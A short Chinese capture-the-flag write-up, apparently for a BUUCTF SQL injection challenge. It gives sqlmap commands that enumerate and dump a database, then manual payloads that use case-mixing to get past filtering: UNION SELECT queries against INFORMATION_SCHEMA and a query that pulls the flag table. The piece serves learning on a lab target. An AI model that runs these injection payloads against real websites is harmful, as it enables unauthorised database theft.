题目:

发现id处可以sql注入:
虽然输入id=1';show databases;#没什么回显,但是知道这里是字符型注入了
这次利用sqlmap注入
--dbs:列出所有数据库名字
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --dbs

--current-db:当前数据库
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --current-db

显示表名
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' --tables

--dump:显示文段内容
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' -T 'here_is_flag' --dump

其他手动SQL注入方法
利用大小写绕过
/?id=1' Order by 5 --+
/?id=1' Union SELect 1,version(),user(),database(),5 --+

?id=' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'ctf'--+
?id=0' uNion Select 1,2,3,4,flag FROM ctf.here_is_flag--+
















![[免费]微信小程序(图书馆)自习室座位预约管理系统(SpringBoot后端+Vue管理端)(高级版)【论文+源码+SQL脚本】](https://i-blog.csdnimg.cn/direct/6e930f3dde3c4f2bb9cf4501c8642e1c.jpeg)
